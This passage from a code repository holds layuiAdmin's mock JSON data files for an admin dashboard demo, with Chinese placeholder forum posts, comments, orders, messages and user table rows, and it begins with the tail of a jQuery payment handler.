$("#buy_tenpay").click(function(){ 73 | dopay('tenpay') 74 | }); -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/console/prograss.js: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0 3 | ,"msg": "" 4 | ,"count": "100" 5 | ,"data": [{ 6 | "prograss": "开会" 7 | ,"time": "一小时" 8 | ,"complete": "已完成" 9 | ,"LAY_CHECKED": true 10 | },{ 11 | "prograss": "项目开发" 12 | ,"time": "两小时" 13 | ,"complete": "进行中" 14 | ,"LAY_CHECKED": true 15 | },{ 16 | "prograss": "陪吃饭" 17 | ,"time": "一小时" 18 | ,"complete": "未完成" 19 | },{ 20 | "prograss": "修改小bug" 21 | ,"time": "半小时" 22 | ,"complete": "未完成" 23 | },{ 24 | "prograss": "修改大bug" 25 | ,"time": "两小时" 26 | ,"complete": "未完成" 27 | },{ 28 | "prograss": "修改小bug" 29 | ,"time": "半小时" 30 | ,"complete": "未完成" 31 | },{ 32 | "prograss": "修改大bug" 33 | ,"time": "两小时" 34 | ,"complete": "未完成" 35 | }] 36 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/console/top-card.js: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0 3 | ,"msg": "" 4 | ,"count": "100" 5 | ,"data": [{ 6 | "id": 111 7 | ,"title": "社区开始接受 “赞助商广告” 投放" 8 | ,"username": "贤心" 9 | ,"channel": "公告" 10 | ,"href": "http://fly.layui.com/jie/15697/" 11 | ,"crt": 61632 12 | },{ 13 | "id": 222 14 | ,"title": "layui 一周年" 15 | ,"username": "猫吃" 16 | ,"channel": "讨论" 17 | ,"href": "http://fly.layui.com/jie/16622/" 18 | ,"crt": 61632 19 | },{ 20 | "id": 333 21 | ,"title": "四个月的前端" 22 | ,"username": "fd" 23 | ,"channel": "分享" 24 | ,"href": "http://fly.layui.com/jie/16651/" 25 | ,"crt": 61632 26 | },{ 27 | "id": 333 28 | ,"title": "如何评价LayUI和他的作者闲心" 29 | ,"username": "纸飞机" 30 | ,"channel": "提问" 31 | ,"href": "http://fly.layui.com/jie/9352/" 32 | ,"crt": 61632 33 | },{ 34 | "id": 333 35 | ,"title": "如何评价LayUI和他的作者闲心" 36 | ,"username": "纸飞机" 37 | ,"channel": "提问" 38 | ,"href": "http://fly.layui.com/jie/9352/" 39 | ,"crt": 61632 40 | },{ 41 | "id": 333 42 | ,"title": "如何评价LayUI和他的作者闲心" 43 | ,"username": "纸飞机" 44 | ,"channel": "提问" 45 | ,"href": "http://fly.layui.com/jie/9352/" 46 | ,"crt": 61632 47 | },{ 48 | "id": 333 49 | ,"title": "如何评价LayUI和他的作者闲心" 50 | ,"username": "纸飞机" 51 | ,"channel": "提问" 52 | ,"href": "http://fly.layui.com/jie/9352/" 53 | ,"crt": 61632 54 | },{ 55 | "id": 333 56 | ,"title": "如何评价LayUI和他的作者闲心" 57 | ,"username": "纸飞机" 58 | ,"channel": "提问" 59 | ,"href": "http://fly.layui.com/jie/9352/" 60 | ,"crt": 61632 61 | },{ 62 | "id": 333 63 | ,"title": "如何评价LayUI和他的作者闲心" 64 | ,"username": "纸飞机" 65 | ,"channel": "提问" 66 | ,"href": "http://fly.layui.com/jie/9352/" 67 | ,"crt": 61632 68 | },{ 69 | "id": 333 70 | ,"title": "如何评价LayUI和他的作者闲心" 71 | ,"username": "纸飞机" 72 | ,"channel": "提问" 73 | ,"href": "http://fly.layui.com/jie/9352/" 74 | ,"crt": 61632 75 | }] 76 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/console/top-search.js: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0 3 | ,"msg": "" 4 | ,"count": "100" 5 | ,"data": [{ 6 | "keywords": "贤心是男是女" 7 | ,"frequency": 8520 8 | ,"userNums": 2216 9 | },{ 10 | "keywords": "Java程序员能找到女朋友吗" 11 | ,"frequency": 666 12 | ,"userNums": 333 13 | },{ 14 | "keywords": "此表格是静态模拟数据" 15 | ,"frequency": 666 16 | ,"userNums": 333 17 | },{ 18 | "keywords": "layui官方教程" 19 | ,"frequency": 666 20 | ,"userNums": 333 21 | },{ 22 | "keywords": "layui官方教程" 23 | ,"frequency": 666 24 | ,"userNums": 333 25 | },{ 26 | "keywords": "layui官方教程" 27 | ,"frequency": 666 28 | ,"userNums": 333 29 | },{ 30 | "keywords": "layui官方教程" 31 | ,"frequency": 666 32 | ,"userNums": 333 33 | },{ 34 | "keywords": "layui官方教程" 35 | ,"frequency": 666 36 | ,"userNums": 333 37 | },{ 38 | "keywords": "layui官方教程" 39 | ,"frequency": 666 40 | ,"userNums": 333 41 | },{ 42 | "keywords": "layui官方教程" 43 | ,"frequency": 666 44 | ,"userNums": 333 45 | }] 46 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/content/comment.js: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0 3 | ,"msg": "" 4 | ,"count": "100" 5 | ,"data": [{ 6 | "id": "001" 7 | ,"reviewers": "赵" 8 | ,"content": "我又爱上编程了" 9 | ,"commtime": 20160312 10 | },{ 11 | "id": "002" 12 | ,"reviewers": "钱" 13 | ,"content": "女生出门要小心" 14 | ,"commtime": 20160821 15 | },{ 16 | "id": "003" 17 | ,"reviewers": "孙" 18 | ,"content": "框架就用layui" 19 | ,"commtime": 20161212 20 | },{ 21 | "id": "004" 22 | ,"reviewers": "李" 23 | ,"content": "心姐么么哒" 24 | ,"commtime": 20170311 25 | },{ 26 | "id": "005" 27 | ,"reviewers": "周" 28 | ,"content": "希望明天是个好天气" 29 | ,"commtime": 20170612 30 | },{ 31 | "id": "006" 32 | ,"reviewers": "吴" 33 | ,"content": "我又爱上编程了" 34 | ,"commtime": 20171112 35 | },{ 36 | "id": "007" 37 | ,"reviewers": "郑" 38 | ,"content": "女生出门要小心" 39 | ,"commtime": 20171230 40 | },{ 41 | "id": "008" 42 | ,"reviewers": "王" 43 | ,"content": "框架就用layui" 44 | ,"commtime": 20180112 45 | },{ 46 | "id": "009" 47 | ,"reviewers": "冯" 48 | ,"content": "心姐么么哒" 49 | ,"commtime": 20180221 50 | },{ 51 | "id": "010" 52 | ,"reviewers": "陈" 53 | ,"content": "希望明天是个好天气" 54 | ,"commtime": 20180312 55 | }] 56 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/content/list.js: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0 3 | ,"msg": "" 4 | ,"count": "100" 5 | ,"data": [{ 6 | "id": "001" 7 | ,"label": "美食" 8 | ,"title": "舌尖上的中国第一季" 9 | ,"author": "作者-1" 10 | ,"content": "通过中华美食的多个侧面,来展现食物给中国人生活带来的仪式、伦理等方面的文化;见识中国特色食材以及与食物相关、构成中国美食特有气质的一系列元素;了解中华饮食文化的精致和源远流长" 11 | ,"uploadtime": 20121204 12 | ,"status": true 13 | },{ 14 | "id": "002" 15 | ,"label": "美食" 16 | ,"title": "舌尖上的中国第二季" 17 | ,"author": "作者-2" 18 | ,"content": "以食物为窗口,读懂中国——通过美食,使人们可以有滋有味地认知这个古老的东方国度。“一方水土一方人”,本片将通过展示人们日常生活中与美食相关的多重侧面,描绘与感知中国人的文化传统、家族观念、生活态度与故土难离。人们收获、保存、烹饪、生产美食,并在其过程中留存和传承食物所承载的味觉记忆、饮食习俗、文化样态与家常情感。" 19 | ,"uploadtime": 20141204 20 | ,"status": false 21 | },{ 22 | "id": "003" 23 | ,"label": "美食" 24 | ,"title": "舌尖上的中国第三季" 25 | ,"author": "作者-3" 26 | ,"content": "以食物为窗口,读懂中国——通过美食,使人们可以有滋有味地认知这个古老的东方国度。“一方水土一方人”,本片将通过展示人们日常生活中与美食相关的多重侧面,描绘与感知中国人的文化传统、家族观念、生活态度与故土难离。人们收获、保存、烹饪、生产美食,并在其过程中留存和传承食物所承载的味觉记忆、饮食习俗、文化样态与家常情感将世界美食和中国美食进行比照。春耕、夏耘、秋收、冬藏,天人合一的东方哲学让中国饮食依时而变,智慧灵动,中医营养摄生学说创造了食材运用的新天地,儒家人伦道德则把心意和家的味道端上我们的餐桌。淘洗历史,糅合时光,一代又一代的中国人在天地间升起烟火,用至精至诚的心意烹制食物,一餐一食之间,中国人展示个性,确认归属,构建文明,理解和把握着世界的奥妙。" 27 | ,"uploadtime": 20161204 28 | ,"status": false 29 | },{ 30 | "id": "004" 31 | ,"label": "历史" 32 | ,"title": "诸葛亮骂王朗" 33 | ,"author": "作者-1" 34 | ,"content": "皓首匹夫!苍髯老贼!你即将命归于九泉之下,届时,有何面目见汉朝二十四代先帝?二臣贼子!你枉活七十有六,一生未立寸功,只会摇唇舞舌,助曹为虐!一条断脊之犬,还敢在我军阵前狺狺狂吠!我从未见过如此厚颜无耻之人!!!" 35 | ,"uploadtime": 20180201 36 | ,"status": false 37 | },{ 38 | "id": "005" 39 | ,"label": "新闻" 40 | ,"title": "新时代特色中国梦" 41 | ,"author": "作者-1" 42 | ,"content": "今天,我们比历史上任何时期都更接近、更有信心和能力实现中华民族伟大复兴的目标。新时代已经到来,蓝图已经绘就,中国梦离我们越来越近了。" 43 | ,"uploadtime": 20180512 44 | ,"status": false 45 | },{ 46 | "id": "006" 47 | ,"label": "新闻" 48 | ,"title": "新时代特色中国梦" 49 | ,"author": "作者-2" 50 | ,"content": "梦想不会主动走向我们,只有我们去主动实现梦想。行百里者半九十。虽然中国梦离我们越来越近了,但是要实现中国梦,还要靠我们以永不懈怠的精神状态、功在不舍的坚强意志,不忘初心,继续前进。" 51 | ,"uploadtime": 20180514 52 | ,"status": false 53 | },{ 54 | "id": "007" 55 | ,"label": "体育" 56 | ,"title": "皇马大战利物浦" 57 | ,"author": "作者-3" 58 | ,"content": "对欧足联而言,更想要产生个新冠军。连续三年都是同一个冠军队,这会毁掉欧冠……”格里姆表态,“皇马有梦幻般的阵容,但从促进竞争的角度而言,另一支球队获胜会更好。" 59 | ,"uploadtime": 20180515 60 | ,"status": false 61 | }] 62 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/content/tags.js: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0 3 | ,"msg": "" 4 | ,"count": "100" 5 | ,"data": [{ 6 | "id": "001" 7 | ,"tags": "美食" 8 | },{ 9 | "id": "002" 10 | ,"tags": "新闻" 11 | },{ 12 | "id": "003" 13 | ,"tags": "八卦" 14 | },{ 15 | "id": "004" 16 | ,"tags": "体育" 17 | },{ 18 | "id": "005" 19 | ,"tags": "音乐" 20 | }] 21 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/forum/list.js: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0 3 | ,"msg": "" 4 | ,"count": "100" 5 | ,"data": [{ 6 | "id": "1001" 7 | ,"poster": "赵" 8 | ,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg" 9 | ,"content": "为什么花儿这么么红" 10 | ,"posttime": 20160805 11 | ,"top": false 12 | },{ 13 | "id": "1002" 14 | ,"poster": "钱" 15 | ,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg" 16 | ,"content": "喜欢胡歌,赞赞赞" 17 | ,"posttime": 20161205 18 | ,"top": true 19 | },{ 20 | "id": "1003" 21 | ,"poster": "孙" 22 | ,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg" 23 | ,"content": "明天就要考试了,好紧张,求保佑" 24 | ,"posttime": 20170405 25 | ,"top": false 26 | },{ 27 | "id": "1004" 28 | ,"poster": "李" 29 | ,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg" 30 | ,"content": "希望明天是个好天气" 31 | ,"posttime": 20171005 32 | ,"top": false 33 | },{ 34 | "id": "1005" 35 | ,"poster": "周" 36 | ,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg" 37 | ,"content": "女追男隔层纱,是不是真的" 38 | ,"posttime": 20180205 39 | ,"top": false 40 | },{ 41 | "id": "1006" 42 | ,"poster": "吴" 43 | ,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg" 44 | ,"content": "竟然有人跳楼,年轻人想不开啊!" 45 | ,"posttime": 20180512 46 | ,"top": false 47 | },{ 48 | "id": "1007" 49 | ,"poster": "郑" 50 | ,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg" 51 | ,"content": "大家一定不能学那个年轻人,珍爱生命啊" 52 | ,"posttime": 20180512 53 | ,"top": false 54 | },{ 55 | "id": "1008" 56 | ,"poster": "王" 57 | ,"avatar": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg" 58 | ,"content": "想知道南昌哪里有好吃的西安肉夹馍" 59 | ,"posttime": 20180514 60 | ,"top": false 61 | }] 62 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/forum/replys.js: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0 3 | ,"msg": "" 4 | ,"count": "100" 5 | ,"data": [{ 6 | "id": "001" 7 | ,"replyer": "吴" 8 | ,"cardid": "1002" 9 | ,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg" 10 | ,"content": "有眼光,我也喜欢胡歌!" 11 | ,"replytime": 20161205 12 | },{ 13 | "id": "002" 14 | ,"replyer": "郑" 15 | ,"cardid": "1002" 16 | ,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg" 17 | ,"content": "同上同上。" 18 | ,"replytime": 20161205 19 | },{ 20 | "id": "003" 21 | ,"replyer": "王" 22 | ,"cardid": "1003" 23 | ,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg" 24 | ,"content": "能过一定过,不能过紧张也没用" 25 | ,"replytime": 20170405 26 | },{ 27 | "id": "004" 28 | ,"replyer": "冯" 29 | ,"cardid": "1001" 30 | ,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg" 31 | ,"content": "可能因为你流鼻血了。" 32 | ,"replytime": 20170405 33 | },{ 34 | "id": "005" 35 | ,"replyer": "陈" 36 | ,"cardid": "1003" 37 | ,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg" 38 | ,"content": "加油加油,看好你" 39 | ,"replytime": 20170405 40 | },{ 41 | "id": "006" 42 | ,"replyer": "褚" 43 | ,"cardid": "1005" 44 | ,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg" 45 | ,"content": "纯属放屁" 46 | ,"replytime": 20180207 47 | },{ 48 | "id": "007" 49 | ,"replyer": "卫" 50 | ,"cardid": "1005" 51 | ,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg" 52 | ,"content": "可以试试" 53 | ,"replytime": 20180207 54 | },{ 55 | "id": "006" 56 | ,"replyer": "蒋" 57 | ,"cardid": "1006" 58 | ,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg" 59 | ,"content": "是啊是啊,太恐怖了。" 60 | ,"replytime": 20180512 61 | },{ 62 | "id": "007" 63 | ,"replyer": "沈" 64 | ,"cardid": "1008" 65 | ,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg" 66 | ,"content": "魏家凉皮的凉皮就很不错奥。" 67 | ,"replytime": 20180515 68 | }] 69 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/layer/photos.js: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0, 3 | "msg": "", 4 | "title": "JSON请求的相册", 5 | "id": 8, 6 | "start": 0, 7 | "data": [ 8 | { 9 | "alt": "layer", 10 | "pid": 109, 11 | "src": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg", 12 | "thumb": "" 13 | }, 14 | { 15 | "alt": "说好的,一起Fly", 16 | "pid": 110, 17 | "src": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4kebemcj20ga09saa1.jpg", 18 | "thumb": "" 19 | }, 20 | { 21 | "alt": "佟丽娅女神", 22 | "pid": 111, 23 | "src": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg", 24 | "thumb": "" 25 | }, 26 | { 27 | "alt": "凤姐是个好人", 28 | "pid": 112, 29 | "src": "https://wx3.sinaimg.cn/mw690/5db11ff4gy1fmx4kec9vuj20b20dwmyk.jpg", 30 | "thumb": "" 31 | }, 32 | { 33 | "alt": "星空如此深邃", 34 | "pid": 113, 35 | "src": "https://wx3.sinaimg.cn/mw690/5db11ff4gy1fmx4keca8ag208g06iglw.gif", 36 | "thumb": "" 37 | } 38 | ] 39 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/layim/getMembers.js: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0 3 | ,"msg": "" 4 | ,"data": { 5 | "list": [{ 6 | "username": "贤心" 7 | ,"id": "100001" 8 | ,"avatar": "//tva1.sinaimg.cn/crop.0.0.118.118.180/5db11ff4gw1e77d3nqrv8j203b03cweg.jpg" 9 | ,"sign": "这些都是测试数据,实际使用请严格按照该格式返回" 10 | },{ 11 | "username": "Z_子晴" 12 | ,"id": "108101" 13 | ,"avatar": "//tva1.sinaimg.cn/crop.0.23.1242.1242.180/8693225ajw8fbimjimpjwj20yi0zs77l.jpg" 14 | ,"sign": "微电商达人" 15 | },{ 16 | "username": "Lemon_CC" 17 | ,"id": "102101" 18 | ,"avatar": "//tva4.sinaimg.cn/crop.0.0.180.180.180/6d424ea5jw1e8qgp5bmzyj2050050aa8.jpg" 19 | ,"sign": "" 20 | },{ 21 | "username": "马小云" 22 | ,"id": "168168" 23 | ,"avatar": "//tva1.sinaimg.cn/crop.0.0.180.180.180/7fde8b93jw1e8qgp5bmzyj2050050aa8.jpg" 24 | ,"sign": "让天下没有难写的代码" 25 | },{ 26 | "username": "徐小峥" 27 | ,"id": "666666" 28 | ,"avatar": "//tva1.sinaimg.cn/crop.0.0.512.512.180/6a4acad5jw8eqi6yaholjj20e80e8t9f.jpg" 29 | ,"sign": "代码在囧途,也要写到底" 30 | },{ 31 | "username": "罗玉凤" 32 | ,"id": "121286" 33 | ,"avatar": "//tva4.sinaimg.cn/crop.0.0.640.640.180/4a02849cjw8fc8vn18vktj20hs0hs75v.jpg" 34 | ,"sign": "在自己实力不济的时候,不要去相信什么媒体和记者。他们不是善良的人,有时候候他们的采访对当事人而言就是陷阱" 35 | },{ 36 | "username": "刘涛tamia" 37 | ,"id": "100001222" 38 | ,"avatar": "//tva4.sinaimg.cn/crop.0.1.1125.1125.180/475bb144jw8f9nwebnuhkj20v90vbwh9.jpg" 39 | ,"sign": "如约而至,不负姊妹欢乐颂" 40 | },{ 41 | "username": "大鱼_MsYuyu" 42 | ,"id": "12123454" 43 | ,"avatar": "//tva2.sinaimg.cn/crop.0.0.512.512.180/005LMAegjw8f2bp9qg4mrj30e80e8dg5.jpg" 44 | ,"sign": "我瘋了!這也太準了吧 超級笑點低" 45 | },{ 46 | "username": "谢楠" 47 | ,"id": "10034001" 48 | ,"avatar": "//tva2.sinaimg.cn/crop.1.0.747.747.180/633f068fjw8f9h040n951j20ku0kr74t.jpg" 49 | ,"sign": "" 50 | },{ 51 | "username": "柏雪近在它香" 52 | ,"id": "3435343" 53 | ,"avatar": "//tva2.sinaimg.cn/crop.0.8.751.751.180/961a9be5jw8fczq7q98i7j20kv0lcwfn.jpg" 54 | ,"sign": "" 55 | },{ 56 | "username": "林心如" 57 | ,"id": "76543" 58 | ,"avatar": "//tva3.sinaimg.cn/crop.0.0.512.512.180/48f122e6jw8fcmi072lkyj20e80e8t9i.jpg" 59 | ,"sign": "我爱贤心" 60 | },{ 61 | "username": "佟丽娅" 62 | ,"id": "4803920" 63 | ,"avatar": "//tva3.sinaimg.cn/crop.0.0.750.750.180/5033b6dbjw8etqysyifpkj20ku0kuwfw.jpg" 64 | ,"sign": "我也爱贤心吖吖啊" 65 | }] 66 | } 67 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/mall/order.js: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0 3 | ,"msg": "" 4 | ,"count": "100" 5 | ,"data": [{ 6 | "invoice": "X123565541" 7 | ,"username": "张小三" 8 | ,"orderDate": "2017-11-10" 9 | ,"amount": 800 10 | ,"status": 1 11 | },{ 12 | "invoice": "X123565542" 13 | ,"username": "李小四" 14 | ,"orderDate": "2017-11-10" 15 | ,"amount": 800 16 | ,"status": 0 17 | },{ 18 | "invoice": "X123565543" 19 | ,"username": "王老五" 20 | ,"orderDate": "2017-11-10" 21 | ,"amount": 800 22 | ,"status": 1 23 | },{ 24 | "invoice": "X123565544" 25 | ,"username": "赵小六" 26 | ,"orderDate": "2017-11-09" 27 | ,"amount": 1600 28 | ,"status": 1 29 | },{ 30 | "invoice": "X123565545" 31 | ,"username": "孙小七" 32 | ,"orderDate": "2017-11-09" 33 | ,"amount": 1600 34 | ,"status": -1 35 | },{ 36 | "invoice": "X123565546" 37 | ,"username": "周小八" 38 | ,"orderDate": "2017-11-08" 39 | ,"amount": 2600 40 | ,"status": 1 41 | }] 42 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/message/all.js: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0 3 | ,"msg": "" 4 | ,"count": 60 5 | ,"data": [{ 6 | "id": 123 7 | ,"title": "你好新朋友,感谢使用 layuiAdmin" 8 | ,"time": 1510363800000 9 | }, { 10 | "id": 111 11 | ,"title": "贤心发来了一段私信" 12 | ,"time": 1510212370000 13 | }, { 14 | "id": 111 15 | ,"title": "贤心发来了一段私信" 16 | ,"time": 1510212370000 17 | }, { 18 | "id": 111 19 | ,"title": "贤心发来了一段私信" 20 | ,"time": 1510212370000 21 | }, { 22 | "id": 111 23 | ,"title": "贤心发来了一段私信" 24 | ,"time": 1510212370000 25 | }, { 26 | "id": 111 27 | ,"title": "贤心发来了一段私信" 28 | ,"time": 1510212370000 29 | }, { 30 | "id": 111 31 | ,"title": "贤心发来了一段私信" 32 | ,"time": 1510212370000 33 | }, { 34 | "id": 111 35 | ,"title": "贤心发来了一段私信" 36 | ,"time": 1510212370000 37 | }, { 38 | "id": 111 39 | ,"title": "贤心发来了一段私信" 40 | ,"time": 1510212370000 41 | }, { 42 | "id": 111 43 | ,"title": "贤心发来了一段私信" 44 | ,"time": 1507447570000 45 | }] 46 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/message/detail.js: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0 3 | ,"msg": "" 4 | ,"data": { 5 | "id": 111 6 | ,"title": "你好新朋友,感谢使用 layuiAdmin" 7 | ,"content": "

一直以来,layui 秉承无偿开源的初心,虔诚致力于服务各层次前后端 Web 开发者,在商业横飞的当今时代,这一信念从未动摇。即便身单力薄,仍然重拾决心,埋头造轮,以尽可能地填补产品本身的缺口。在过去的一段的时间,我一直在寻求持久之道,已维持你眼前所见的一切。而 layuiAdmin 是我们尝试解决的手段之一。我相信真正有爱于 layui 生态的你,定然不会错过这一拥抱吧。

子曰:君子不用防,小人防不住。请务必通过官网正规渠道,获得 layuiAdmin

—— 贤心(layui.com

" 8 | ,"time": 1510363800000 9 | } 10 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/message/direct.js: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0 3 | ,"msg": "" 4 | ,"count": 60 5 | ,"data": [{ 6 | "id": 123 7 | ,"title": "贤心发来了一段私信" 8 | ,"time": 1510363800000 9 | }, { 10 | "id": 111 11 | ,"title": "贤心发来了一段私信" 12 | ,"time": 1510212370000 13 | }, { 14 | "id": 111 15 | ,"title": "贤心发来了一段私信" 16 | ,"time": 1510212370000 17 | }, { 18 | "id": 111 19 | ,"title": "贤心发来了一段私信" 20 | ,"time": 1510212370000 21 | }, { 22 | "id": 111 23 | ,"title": "贤心发来了一段私信" 24 | ,"time": 1510212370000 25 | }, { 26 | "id": 111 27 | ,"title": "贤心发来了一段私信" 28 | ,"time": 1510212370000 29 | }, { 30 | "id": 111 31 | ,"title": "贤心发来了一段私信" 32 | ,"time": 1510212370000 33 | }, { 34 | "id": 111 35 | ,"title": "贤心发来了一段私信" 36 | ,"time": 1510212370000 37 | }, { 38 | "id": 111 39 | ,"title": "贤心发来了一段私信" 40 | ,"time": 1510212370000 41 | }, { 42 | "id": 111 43 | ,"title": "贤心发来了一段私信" 44 | ,"time": 1507447570000 45 | }] 46 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/message/new.js: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0 3 | ,"msg": "" 4 | ,"data": { 5 | "newmsg": 3 6 | } 7 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/message/notice.js: -------------------------------------------------------------------------------- 1 | { 2 | "code": 0 3 | ,"msg": "" 4 | ,"count": 60 5 | ,"data": [{ 6 | "id": 123 7 | ,"title": "你好新朋友,感谢使用 layuiAdmin" 8 | ,"time": 1510363800000 9 | }, { 10 | "id": 111 11 | ,"title": "你好新朋友,感谢使用 layuiAdmin" 12 | ,"time": 1510212370000 13 | }, { 14 | "id": 111 15 | ,"title": "你好新朋友,感谢使用 layuiAdmin" 16 | ,"time": 1510212370000 17 | }, { 18 | "id": 111 19 | ,"title": "你好新朋友,感谢使用 layuiAdmin" 20 | ,"time": 1510212370000 21 | }, { 22 | "id": 111 23 | ,"title": "你好新朋友,感谢使用 layuiAdmin" 24 | ,"time": 1510212370000 25 | }, { 26 | "id": 111 27 | ,"title": "你好新朋友,感谢使用 layuiAdmin" 28 | ,"time": 1510212370000 29 | }, { 30 | "id": 111 31 | ,"title": "你好新朋友,感谢使用 layuiAdmin" 32 | ,"time": 1510212370000 33 | }, { 34 | "id": 111 35 | ,"title": "你好新朋友,感谢使用 layuiAdmin" 36 | ,"time": 1510212370000 37 | }, { 38 | "id": 111 39 | ,"title": "你好新朋友,感谢使用 layuiAdmin" 40 | ,"time": 1510212370000 41 | }, { 42 | "id": 111 43 | ,"title": "你好新朋友,感谢使用 layuiAdmin" 44 | ,"time": 1507447570000 45 | }] 46 | } -------------------------------------------------------------------------------- /Index/assets/layuiadmin/json/table/demo.js: -------------------------------------------------------------------------------- 1 | 2 | { 3 | "code": 0 4 | ,"msg": "" 5 | ,"count": 3000000 6 | ,"data": [{ 7 | "id": "10001" 8 | ,"username": "杜甫" 9 | ,"email": "xianxin@layui.com" 10 | ,"sex": "男" 11 | ,"city": "浙江杭州" 12 | ,"sign": "点击此处,显示更多。当内容超出时,点击单元格会自动显示更多内容。" 13 | ,"experience": "116" 14 | ,"ip": "192.168.0.8" 15 | ,"logins": "108" 16 | ,"joinTime": "2016-10-14" 17 | }, { 18 | "id": "10002" 19 | ,"username": "李白" 20 | ,"email": "xianxin@layui.com" 21 | ,"sex": "男" 22 | ,"city": "浙江杭州" 23 | ,"sign": "君不见,黄河之水天上来,奔流到海不复回。 君不见,高堂明镜悲白发,朝如青丝暮成雪。 人生得意须尽欢,莫使金樽空对月。 天生我材必有用,千金散尽还复来。 烹羊宰牛且为乐,会须一饮三百杯。 岑夫子,丹丘生,将进酒,杯莫停。 与君歌一曲,请君为我倾耳听。(倾耳听 一作:侧耳听) 钟鼓馔玉不足贵,但愿长醉不复醒。(不足贵 一作:何足贵;不复醒 一作:不愿醒/不用醒) 古来圣贤皆寂寞,惟有饮者留其名。(古来 一作:自古;惟 通:唯) 陈王昔时宴平乐,斗酒十千恣欢谑。 主人何为言少钱,径须沽取对君酌。 五花马,千金裘,呼儿将出换美酒,与尔同销万古愁。" 24 | ,"experience": "12" 25 | ,"ip": "192.168.0.8" 26 | ,"logins": "106" 27 | ,"joinTime": "2016-10-14" 28 | ,"LAY_CHECKED": true 29 | }, { 30 | "id": "10003" 31 | ,"username": "王勃" 32 | ,"email": "xianxin@layui.com" 33 | ,"sex": "男" 34 | ,"city": "浙江杭州" 35 | ,"sign": "人生恰似一场修行" 36 | ,"experience": "65" 37 | ,"ip": "192.168.0.8" 38 | ,"logins": "106" 39 | ,"joinTime": "2016-10-14" 40 | }, { 41 | "id": "10004" 42 | ,"username": "李清照" 43 | ,"email": "xianxin@layui.com" 44 | ,"sex": "女" 45 | ,"city": "浙江杭州" 46 | ,"sign": "人生恰似一场修行" 47 | ,"experience": "666" 48 | ,"ip": "192.168.0.8" 49 | ,"logins": "106" 50 | ,"joinTime": "2016-10-14" 51 | }, { 52 | "id": "10005" 53 | ,"username": "冰心" 54 | ,"email": "xianxin@layui.com" 55 | ,"sex": "女" 56 | ,"city": "浙江杭州" 57 | ,"sign": "人生恰似一场修行" 58 | ,"experience": "86" 59 | ,"ip": "192.168.0.8" 60 | ,"logins": "106" 61 | ,"joinTime": "2016-10-14" 62 | }, { 63 | "id": "10006" 64 | ,"username": "贤心" 65 | ,"email": "xianxin@layui.com" 66 | ,"sex": "男" 67 | ,"city": "浙江杭州" 68 | ,"sign": "人生恰似一场修行" 69 | ,"experience": "12" 70 | ,"ip": "192.168.0.8" 71 | ,"logins": "106" 72 | ,"joinTime": "2016-10-14" 73 | }, { 74 | "id": "10007" 75 | ,"username": "贤心" 76 | ,"email": "xianxin@layui.com" 77 | ,"sex": "男" 78 